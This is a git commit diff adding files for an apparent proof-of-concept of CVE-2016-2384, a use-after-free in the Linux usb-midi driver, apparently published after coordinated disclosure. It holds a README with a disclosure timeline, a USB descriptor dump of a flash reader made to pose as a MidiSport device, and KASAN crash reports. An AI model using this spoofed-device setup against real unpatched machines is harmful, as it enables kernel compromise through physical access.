linux-exp
This commit is contained in:
parent
9ec0ed8024
commit
9fdeea0974
|
@ -0,0 +1,15 @@
|
|||
CVE-2016-2384
|
||||
=============
|
||||
|
||||
- [CVE-2016-2384](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384)
|
||||
|
||||
This is a proof-of-concept exploit for the vulnerability in the usb-midi Linux kernel driver ([CVE-2016-2384](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384)).
|
||||
Requires physical access to the machine.
|
||||
Check out [the writeup](https://xairy.github.io/blog/2016/cve-2016-2384) and [the demo video](https://www.youtube.com/watch?v=lfl1NJn1nvo)!
|
||||
|
||||
Timeline:
|
||||
|
||||
* 13 Feb 2016: the issue reported to security@kernel.org
|
||||
* 13 Feb 2016: [the fix](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7) is upstream
|
||||
* 14 Feb 2016: [a CVE id](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) is assigned
|
||||
* 22 Feb 2016: [a writeup](https://xairy.github.io/blog/2016/cve-2016-2384) is published
|
|
@ -0,0 +1,38 @@
|
|||
Speed Full
|
||||
Bus 001 Device 003: ID 058f:6366 Alcor Micro Corp. Multi Flash Reader
|
||||
Device Descriptor:
|
||||
bLength 18
|
||||
bDescriptorType 1
|
||||
bcdUSB 2.00
|
||||
bDeviceClass 0 (Defined at Interface level)
|
||||
bDeviceSubClass 0
|
||||
bDeviceProtocol 0
|
||||
bMaxPacketSize0 64
|
||||
idVendor 0x0763 Midiman
|
||||
idProduct 0x1002 MidiSport 2x2
|
||||
bcdDevice 1.00
|
||||
iManufacturer 1 Generic
|
||||
iProduct 2 Mass Storage Device
|
||||
iSerial 3 058F63666471
|
||||
bNumConfigurations 1
|
||||
Configuration Descriptor:
|
||||
bLength 9
|
||||
bDescriptorType 2
|
||||
wTotalLength 32
|
||||
bNumInterfaces 1
|
||||
bConfigurationValue 1
|
||||
iConfiguration 0
|
||||
bmAttributes 0x80
|
||||
(Bus Powered)
|
||||
MaxPower 100mA
|
||||
Interface Descriptor:
|
||||
bLength 9
|
||||
bDescriptorType 4
|
||||
bInterfaceNumber 0
|
||||
bAlternateSetting 0
|
||||
bNumEndpoints 0
|
||||
bInterfaceClass 255 Vendor Specific Class
|
||||
bInterfaceSubClass 0
|
||||
bInterfaceProtocol 0
|
||||
iInterface 0
|
||||
|
|
@ -0,0 +1,171 @@
|
|||
[ 25.262415] ==================================================================
|
||||
[ 25.263553] BUG: KASAN: use-after-free in snd_usbmidi_free+0x92/0xa0 at addr ffff88006a8c5da0
|
||||
[ 25.264851] Read of size 8 by task kworker/0:2/928
|
||||
[ 25.265589] =============================================================================
|
||||
[ 25.266802] BUG kmalloc-512 (Not tainted): kasan: bad access detected
|
||||
[ 25.267736] -----------------------------------------------------------------------------
|
||||
[ 25.267736]
|
||||
[ 25.269137] Disabling lock debugging due to kernel taint
|
||||
[ 25.269926] INFO: Allocated in snd_usbmidi_create+0xb4/0x1dc0 age=1 cpu=0 pid=928
|
||||
[ 25.271023] ___slab_alloc+0x44f/0x470
|
||||
[ 25.271583] __slab_alloc+0x1b/0x30
|
||||
[ 25.272103] kmem_cache_alloc_trace+0x126/0x160
|
||||
[ 25.272774] snd_usbmidi_create+0xb4/0x1dc0
|
||||
[ 25.273399] create_any_midi_quirk+0x38/0x60
|
||||
[ 25.274033] snd_usb_create_quirk+0x74/0x110
|
||||
[ 25.274670] usb_audio_probe+0x43b/0x1d40
|
||||
[ 25.275262] usb_probe_interface+0x42c/0x8c0
|
||||
[ 25.275894] driver_probe_device+0x4be/0x800
|
||||
[ 25.276528] __device_attach_driver+0x176/0x220
|
||||
[ 25.277199] bus_for_each_drv+0x112/0x1b0
|
||||
[ 25.277804] __device_attach+0x1c6/0x2a0
|
||||
[ 25.278362] device_initial_probe+0xe/0x10
|
||||
[ 25.278941] bus_probe_device+0x199/0x240
|
||||
[ 25.279509] device_add+0x94c/0x1340
|
||||
[ 25.280020] usb_set_configuration+0xaec/0x1540
|
||||
[ 25.280663] INFO: Freed in snd_usbmidi_free+0x7f/0xa0 age=1 cpu=0 pid=928
|
||||
[ 25.281608] __slab_free+0x170/0x290
|
||||
[ 25.282123] kfree+0x13b/0x150
|
||||
[ 25.282562] snd_usbmidi_free+0x7f/0xa0
|
||||
[ 25.283104] snd_usbmidi_create+0x11bc/0x1dc0
|
||||
[ 25.283702] create_any_midi_quirk+0x38/0x60
|
||||
[ 25.284323] snd_usb_create_quirk+0x74/0x110
|
||||
[ 25.284932] usb_audio_probe+0x43b/0x1d40
|
||||
[ 25.285505] usb_probe_interface+0x42c/0x8c0
|
||||
[ 25.286121] driver_probe_device+0x4be/0x800
|
||||
[ 25.286665] __device_attach_driver+0x176/0x220
|
||||
[ 25.287227] bus_for_each_drv+0x112/0x1b0
|
||||
[ 25.287725] __device_attach+0x1c6/0x2a0
|
||||
[ 25.288213] device_initial_probe+0xe/0x10
|
||||
[ 25.288721] bus_probe_device+0x199/0x240
|
||||
[ 25.289219] device_add+0x94c/0x1340
|
||||
[ 25.289677] usb_set_configuration+0xaec/0x1540
|
||||
[ 25.290319] INFO: Slab 0xffffea0001aa3100 objects=10 used=0 fp=0xffff88006a8c5cb0 flags=0x100000000004080
|
||||
[ 25.291648] INFO: Object 0xffff88006a8c5cb0 @offset=7344 fp=0xffff88006a8c4330
|
||||
[ 25.291648]
|
||||
[ 25.292848] Bytes b4 ffff88006a8c5ca0: 00 00 00 00 49 0a 00 00 33 b8 fb ff 00 00 00 00 ....I...3.......
|
||||
[ 25.294156] Object ffff88006a8c5cb0: 30 43 8c 6a 00 88 ff ff 20 67 6b 6c 00 88 ff ff 0C.j.... gkl....
|
||||
[ 25.295231] Object ffff88006a8c5cc0: 60 ca be 6a 00 88 ff ff 40 28 30 83 ff ff ff ff `..j....@(0.....
|
||||
[ 25.296304] Object ffff88006a8c5cd0: 80 c9 76 6b 00 88 ff ff 80 0e 98 83 ff ff ff ff ..vk............
|
||||
[ 25.297531] Object ffff88006a8c5ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.298791] Object ffff88006a8c5cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.300014] Object ffff88006a8c5d00: 00 00 00 00 00 00 00 00 c0 ae 6b 82 ff ff ff ff ..........k.....
|
||||
[ 25.301237] Object ffff88006a8c5d10: b0 5c 8c 6a 00 88 ff ff 00 00 00 00 ff ff ff ff .\.j............
|
||||
[ 25.302469] Object ffff88006a8c5d20: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.303695] Object ffff88006a8c5d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.304916] Object ffff88006a8c5d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.306135] Object ffff88006a8c5d50: 50 5d 8c 6a 00 88 ff ff 50 5d 8c 6a 00 88 ff ff P].j....P].j....
|
||||
[ 25.307303] Object ffff88006a8c5d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.308478] Object ffff88006a8c5d70: 01 00 00 00 00 00 00 00 78 5d 8c 6a 00 88 ff ff ........x].j....
|
||||
[ 25.309649] Object ffff88006a8c5d80: 78 5d 8c 6a 00 88 ff ff 00 00 00 00 00 00 00 00 x].j............
|
||||
[ 25.310830] Object ffff88006a8c5d90: 00 00 00 00 00 00 00 00 33 10 63 07 01 00 00 00 ........3.c.....
|
||||
[ 25.312007] Object ffff88006a8c5da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.313176] Object ffff88006a8c5db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.314342] Object ffff88006a8c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.315511] Object ffff88006a8c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.316682] Object ffff88006a8c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.317861] Object ffff88006a8c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.318986] Object ffff88006a8c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.320100] Object ffff88006a8c5e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.321225] Object ffff88006a8c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.322355] Object ffff88006a8c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.323475] Object ffff88006a8c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.324586] Object ffff88006a8c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.325706] Object ffff88006a8c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.326826] Object ffff88006a8c5e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.327937] Object ffff88006a8c5e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.329049] Object ffff88006a8c5e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.330133] Object ffff88006a8c5ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
[ 25.331131] CPU: 0 PID: 928 Comm: kworker/0:2 Tainted: G B 4.4.0 #7
|
||||
[ 25.331922] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014
|
||||
[ 25.333297] Workqueue: usb_hub_wq hub_event
|
||||
[ 25.333766] ffff88006a8c4000 ffff88006b616e50 ffffffff819f6215 ffff88006cc02200
|
||||
[ 25.334622] ffff88006b616e80 ffffffff81431c84 ffff88006cc02200 ffffea0001aa3100
|
||||
[ 25.335476] ffff88006a8c5cb0 ffff88006a8c5cb0 ffff88006b616ea8 ffffffff81436c7f
|
||||
[ 25.336326] Call Trace:
|
||||
[ 25.336602] [<ffffffff819f6215>] dump_stack+0x44/0x5f
|
||||
[ 25.337162] [<ffffffff81431c84>] print_trailer+0xf4/0x150
|
||||
[ 25.337764] [<ffffffff81436c7f>] object_err+0x2f/0x40
|
||||
[ 25.338323] [<ffffffff81438e9d>] kasan_report_error+0x20d/0x520
|
||||
[ 25.338973] [<ffffffff814353f2>] ? __slab_free+0x1a2/0x290
|
||||
[ 25.339604] [<ffffffff814385b6>] ? kasan_unpoison_shadow+0x36/0x50
|
||||
[ 25.340283] [<ffffffff8157dda7>] ? proc_entry_rundown+0xb7/0x190
|
||||
[ 25.340949] [<ffffffff814392ae>] __asan_report_load8_noabort+0x3e/0x40
|
||||
[ 25.341681] [<ffffffff826baa72>] ? snd_usbmidi_free+0x92/0xa0
|
||||
[ 25.342303] [<ffffffff826baa72>] snd_usbmidi_free+0x92/0xa0
|
||||
[ 25.342899] [<ffffffff826baab2>] snd_usbmidi_rawmidi_free+0x32/0x40
|
||||
[ 25.343525] [<ffffffff825f2f7f>] snd_rawmidi_free+0x11f/0x170
|
||||
[ 25.344065] [<ffffffff825f2ffc>] snd_rawmidi_dev_free+0x2c/0x40
|
||||
[ 25.344617] [<ffffffff825aa565>] __snd_device_free+0x125/0x210
|
||||
[ 25.345158] [<ffffffff825aad10>] snd_device_free_all+0x80/0xc0
|
||||
[ 25.345745] [<ffffffff8259b24f>] release_card_device+0x2f/0x130
|
||||
[ 25.346366] [<ffffffff8202f6e1>] device_release+0x71/0x1e0
|
||||
[ 25.347086] [<ffffffff819fbd81>] kobject_release+0xc1/0x160
|
||||
[ 25.348214] [<ffffffff819fb9fe>] kobject_put+0x4e/0xa0
|
||||
[ 25.349420] [<ffffffff8202fd42>] put_device+0x12/0x20
|
||||
[ 25.350574] [<ffffffff8259d6ac>] snd_card_free+0xac/0xf0
|
||||
[ 25.351768] [<ffffffff8259d600>] ? snd_card_free_when_closed+0x30/0x30
|
||||
[ 25.353218] [<ffffffff826b2374>] ? snd_usb_create_quirk+0x74/0x110
|
||||
[ 25.354572] [<ffffffff826aff65>] ? snd_usb_audio_create_proc+0x115/0x1e0
|
||||
[ 25.355887] [<ffffffff8267eb9a>] usb_audio_probe+0x77a/0x1d40
|
||||
[ 25.357040] [<ffffffff8267e420>] ? snd_usb_create_stream+0x480/0x480
|
||||
[ 25.357858] [<ffffffff82056ee6>] ? __pm_runtime_set_status+0x496/0x960
|
||||
[ 25.358472] [<ffffffff82317a8c>] usb_probe_interface+0x42c/0x8c0
|
||||
[ 25.359039] [<ffffffff8203c79e>] driver_probe_device+0x4be/0x800
|
||||
[ 25.359602] [<ffffffff8203cda6>] __device_attach_driver+0x176/0x220
|
||||
[ 25.360186] [<ffffffff8203cc30>] ? __driver_attach+0x150/0x150
|
||||
[ 25.360731] [<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0
|
||||
[ 25.361271] [<ffffffff82037570>] ? bus_rescan_devices+0x20/0x20
|
||||
[ 25.361830] [<ffffffff82e6b129>] ? _raw_spin_unlock_irqrestore+0x9/0x10
|
||||
[ 25.362445] [<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0
|
||||
[ 25.362971] [<ffffffff8203c010>] ? device_bind_driver+0x30/0x30
|
||||
[ 25.363524] [<ffffffff819fe492>] ? kobject_uevent_env+0x202/0xa50
|
||||
[ 25.364090] [<ffffffff8203cebe>] device_initial_probe+0xe/0x10
|
||||
[ 25.364632] [<ffffffff8203a299>] bus_probe_device+0x199/0x240
|
||||
[ 25.365166] [<ffffffff8203447c>] device_add+0x94c/0x1340
|
||||
[ 25.365670] [<ffffffff82033b30>] ? device_private_init+0x180/0x180
|
||||
[ 25.366237] [<ffffffff8204ee24>] ? wakeup_sysfs_add+0x14/0x20
|
||||
[ 25.366757] [<ffffffff82061b20>] ? device_set_wakeup_capable+0xc0/0x160
|
||||
[ 25.367354] [<ffffffff82310d3c>] usb_set_configuration+0xaec/0x1540
|
||||
[ 25.367919] [<ffffffff8232e516>] generic_probe+0x56/0xb0
|
||||
[ 25.368402] [<ffffffff8231762a>] usb_probe_device+0x8a/0xc0
|
||||
[ 25.368908] [<ffffffff8203c79e>] driver_probe_device+0x4be/0x800
|
||||
[ 25.369451] [<ffffffff8203cda6>] __device_attach_driver+0x176/0x220
|
||||
[ 25.370019] [<ffffffff8203cc30>] ? __driver_attach+0x150/0x150
|
||||
[ 25.370548] [<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0
|
||||
[ 25.371068] [<ffffffff82037570>] ? bus_rescan_devices+0x20/0x20
|
||||
[ 25.371604] [<ffffffff82e6b129>] ? _raw_spin_unlock_irqrestore+0x9/0x10
|
||||
[ 25.372199] [<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0
|
||||
[ 25.372708] [<ffffffff8203c010>] ? device_bind_driver+0x30/0x30
|
||||
[ 25.373248] [<ffffffff819fe492>] ? kobject_uevent_env+0x202/0xa50
|
||||
[ 25.373804] [<ffffffff8203cebe>] device_initial_probe+0xe/0x10
|
||||
[ 25.374320] [<ffffffff8203a299>] bus_probe_device+0x199/0x240
|
||||
[ 25.374839] [<ffffffff8203447c>] device_add+0x94c/0x1340
|
||||
[ 25.375323] [<ffffffff82033b30>] ? device_private_init+0x180/0x180
|
||||
[ 25.375883] [<ffffffff822f41a1>] usb_new_device+0x701/0xfa0
|
||||
[ 25.376386] [<ffffffff822f8580>] hub_event+0x1b70/0x2d00
|
||||
[ 25.376870] [<ffffffff822f6a10>] ? hub_port_debounce+0x1b0/0x1b0
|
||||
[ 25.377413] [<ffffffff82050101>] ? dev_pm_get_subsys_data+0x71/0x1c0
|
||||
[ 25.377994] [<ffffffff8100a4fc>] ? __switch_to+0x7ac/0xe40
|
||||
[ 25.378492] [<ffffffff82e6b129>] ? _raw_spin_unlock_irqrestore+0x9/0x10
|
||||
[ 25.379068] [<ffffffff820575cd>] ? __pm_runtime_suspend+0x8d/0xb0
|
||||
[ 25.379620] [<ffffffff8113622f>] ? pwq_dec_nr_in_flight+0x11f/0x270
|
||||
[ 25.380187] [<ffffffff822f682d>] ? usb_remote_wakeup+0x4d/0x80
|
||||
[ 25.380720] [<ffffffff81137375>] process_one_work+0x585/0x1200
|
||||
[ 25.381249] [<ffffffff811380c7>] worker_thread+0xd7/0x1200
|
||||
[ 25.381742] [<ffffffff82e608b5>] ? __schedule+0x935/0x1d60
|
||||
[ 25.382242] [<ffffffff81137ff0>] ? process_one_work+0x1200/0x1200
|
||||
[ 25.382791] [<ffffffff81148ba0>] kthread+0x1c0/0x260
|
||||
[ 25.383242] [<ffffffff811489e0>] ? kthread_worker_fn+0x580/0x580
|
||||
[ 25.383784] [<ffffffff8100a4fc>] ? __switch_to+0x7ac/0xe40
|
||||
[ 25.384280] [<ffffffff811489e0>] ? kthread_worker_fn+0x580/0x580
|
||||
[ 25.384824] [<ffffffff82e6bb4f>] ret_from_fork+0x3f/0x70
|
||||
[ 25.385304] [<ffffffff811489e0>] ? kthread_worker_fn+0x580/0x580
|
||||
[ 25.385846] Memory state around the buggy address:
|
||||
[ 25.386271] ffff88006a8c5c80: fc fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb
|
||||
[ 25.386906] ffff88006a8c5d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
|
||||
[ 25.387548] >ffff88006a8c5d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
|
||||
[ 25.388184] ^
|
||||
[ 25.388565] ffff88006a8c5e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
|
||||
[ 25.389202] ffff88006a8c5e80: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc
|
||||
[ 25.389844] ==================================================================
|
|
@ -0,0 +1,152 @@
|
|||
==================================================================
|
||||
BUG: KASAN: use-after-free in snd_usbmidi_free+0x92/0xa0 at addr ffff88006a8c5da0
|
||||
Read of size 8 by task kworker/0:2/928
|
||||
=============================================================================
|
||||
BUG kmalloc-512 (Not tainted): kasan: bad access detected
|
||||
-----------------------------------------------------------------------------
|
||||
|
||||
Disabling lock debugging due to kernel taint
|
||||
INFO: Allocated in snd_usbmidi_create+0xb4/0x1dc0 age=1 cpu=0 pid=928
|
||||
[< none >] ___slab_alloc+0x44f/0x470 mm/slub.c:2438
|
||||
[< none >] __slab_alloc+0x1b/0x30 mm/slub.c:2467
|
||||
[< inline >] slab_alloc_node mm/slub.c:2530
|
||||
[< inline >] slab_alloc mm/slub.c:2572
|
||||
[< none >] kmem_cache_alloc_trace+0x126/0x160 mm/slub.c:2589
|
||||
[< inline >] kmalloc include/linux/slab.h:458
|
||||
[< inline >] kzalloc include/linux/slab.h:602
|
||||
[< none >] snd_usbmidi_create+0xb4/0x1dc0 sound/usb/midi.c:2332
|
||||
[< none >] create_any_midi_quirk+0x38/0x60 sound/usb/quirks.c:103
|
||||
[< none >] snd_usb_create_quirk+0x74/0x110 sound/usb/quirks.c:550
|
||||
[< none >] usb_audio_probe+0x43b/0x1d40 sound/usb/card.c:544
|
||||
[< none >] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356
|
||||
[< inline >] really_probe drivers/base/dd.c:316
|
||||
[< none >] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
|
||||
[< none >] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
|
||||
[< none >] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
|
||||
[< none >] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
|
||||
[< none >] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
|
||||
[< none >] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
|
||||
[< none >] device_add+0x94c/0x1340 drivers/base/core.c:1120
|
||||
[< none >] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932
|
||||
INFO: Freed in snd_usbmidi_free+0x7f/0xa0 age=1 cpu=0 pid=928
|
||||
[< none >] __slab_free+0x170/0x290 mm/slub.c:2648
|
||||
[< inline >] slab_free mm/slub.c:2803
|
||||
[< none >] kfree+0x13b/0x150 mm/slub.c:3632
|
||||
[< none >] snd_usbmidi_free+0x7f/0xa0 sound/usb/midi.c:1455
|
||||
[< none >] snd_usbmidi_create+0x11bc/0x1dc0 sound/usb/midi.c:2457
|
||||
[< none >] create_any_midi_quirk+0x38/0x60 sound/usb/quirks.c:103
|
||||
[< none >] snd_usb_create_quirk+0x74/0x110 sound/usb/quirks.c:550
|
||||
[< none >] usb_audio_probe+0x43b/0x1d40 sound/usb/card.c:544
|
||||
[< none >] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356
|
||||
[< inline >] really_probe drivers/base/dd.c:316
|
||||
[< none >] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
|
||||
[< none >] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
|
||||
[< none >] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
|
||||
[< none >] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
|
||||
[< none >] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
|
||||
[< none >] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
|
||||
[< none >] device_add+0x94c/0x1340 drivers/base/core.c:1120
|
||||
[< none >] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932
|
||||
INFO: Slab 0xffffea0001aa3100 objects=10 used=0 fp=0xffff88006a8c5cb0 flags=0x100000000004080
|
||||
INFO: Object 0xffff88006a8c5cb0 @offset=7344 fp=0xffff88006a8c4330
|
||||
|
||||
Bytes b4 ffff88006a8c5ca0: 00 00 00 00 49 0a 00 00 33 b8 fb ff 00 00 00 00 ....I...3.......
|
||||
Object ffff88006a8c5cb0: 30 43 8c 6a 00 88 ff ff 20 67 6b 6c 00 88 ff ff 0C.j.... gkl....
|
||||
Object ffff88006a8c5cc0: 60 ca be 6a 00 88 ff ff 40 28 30 83 ff ff ff ff `..j....@(0.....
|
||||
Object ffff88006a8c5cd0: 80 c9 76 6b 00 88 ff ff 80 0e 98 83 ff ff ff ff ..vk............
|
||||
Object ffff88006a8c5ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5d00: 00 00 00 00 00 00 00 00 c0 ae 6b 82 ff ff ff ff ..........k.....
|
||||
Object ffff88006a8c5d10: b0 5c 8c 6a 00 88 ff ff 00 00 00 00 ff ff ff ff .\.j............
|
||||
Object ffff88006a8c5d20: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5d50: 50 5d 8c 6a 00 88 ff ff 50 5d 8c 6a 00 88 ff ff P].j....P].j....
|
||||
Object ffff88006a8c5d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5d70: 01 00 00 00 00 00 00 00 78 5d 8c 6a 00 88 ff ff ........x].j....
|
||||
Object ffff88006a8c5d80: 78 5d 8c 6a 00 88 ff ff 00 00 00 00 00 00 00 00 x].j............
|
||||
Object ffff88006a8c5d90: 00 00 00 00 00 00 00 00 33 10 63 07 01 00 00 00 ........3.c.....
|
||||
Object ffff88006a8c5da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Object ffff88006a8c5ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
CPU: 0 PID: 928 Comm: kworker/0:2 Tainted: G B 4.4.0 #7
|
||||
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014
|
||||
Workqueue: usb_hub_wq hub_event
|
||||
ffff88006a8c4000 ffff88006b616e50 ffffffff819f6215 ffff88006cc02200
|
||||
ffff88006b616e80 ffffffff81431c84 ffff88006cc02200 ffffea0001aa3100
|
||||
ffff88006a8c5cb0 ffff88006a8c5cb0 ffff88006b616ea8 ffffffff81436c7f
|
||||
Call Trace:
|
||||
[< inline >] __dump_stack lib/dump_stack.c:15
|
||||
[<ffffffff819f6215>] dump_stack+0x44/0x5f lib/dump_stack.c:50
|
||||
[<ffffffff81431c84>] print_trailer+0xf4/0x150 mm/slub.c:652
|
||||
[<ffffffff81436c7f>] object_err+0x2f/0x40 mm/slub.c:659
|
||||
[< inline >] print_address_description mm/kasan/report.c:138
|
||||
[<ffffffff81438e9d>] kasan_report_error+0x20d/0x520 mm/kasan/report.c:236
|
||||
[< inline >] kasan_report mm/kasan/report.c:259
|
||||
[<ffffffff814392ae>] __asan_report_load8_noabort+0x3e/0x40 mm/kasan/report.c:280
|
||||
[<ffffffff826baa72>] snd_usbmidi_free+0x92/0xa0 sound/usb/midi.c:1449
|
||||
[<ffffffff826baab2>] snd_usbmidi_rawmidi_free+0x32/0x40 sound/usb/midi.c:1511
|
||||
[<ffffffff825f2f7f>] snd_rawmidi_free+0x11f/0x170 sound/core/rawmidi.c:1546
|
||||
[<ffffffff825f2ffc>] snd_rawmidi_dev_free+0x2c/0x40 sound/core/rawmidi.c:1554
|
||||
[<ffffffff825aa565>] __snd_device_free+0x125/0x210 sound/core/device.c:91
|
||||
[<ffffffff825aad10>] snd_device_free_all+0x80/0xc0 sound/core/device.c:244
|
||||
[< inline >] snd_card_do_free sound/core/init.c:461
|
||||
[<ffffffff8259b24f>] release_card_device+0x2f/0x130 sound/core/init.c:181
|
||||
[<ffffffff8202f6e1>] device_release+0x71/0x1e0 drivers/base/core.c:247
|
||||
[< inline >] kobject_cleanup lib/kobject.c:645
|
||||
[<ffffffff819fbd81>] kobject_release+0xc1/0x160 lib/kobject.c:674
|
||||
[< inline >] kref_put include/linux/kref.h:73
|
||||
[<ffffffff819fb9fe>] kobject_put+0x4e/0xa0 lib/kobject.c:691
|
||||
[<ffffffff8202fd42>] put_device+0x12/0x20 drivers/base/core.c:1215
|
||||
[< inline >] snd_card_free_when_closed sound/core/init.c:489
|
||||
[<ffffffff8259d6ac>] snd_card_free+0xac/0xf0 sound/core/init.c:514
|
||||
[<ffffffff8267eb9a>] usb_audio_probe+0x77a/0x1d40 sound/usb/card.c:574
|
||||
[<ffffffff82317a8c>] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356
|
||||
[< inline >] really_probe drivers/base/dd.c:316
|
||||
[<ffffffff8203c79e>] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
|
||||
[<ffffffff8203cda6>] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
|
||||
[<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
|
||||
[<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
|
||||
[<ffffffff8203cebe>] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
|
||||
[<ffffffff8203a299>] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
|
||||
[<ffffffff8203447c>] device_add+0x94c/0x1340 drivers/base/core.c:1120
|
||||
[<ffffffff82310d3c>] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932
|
||||
[<ffffffff8232e516>] generic_probe+0x56/0xb0 drivers/usb/core/generic.c:172
|
||||
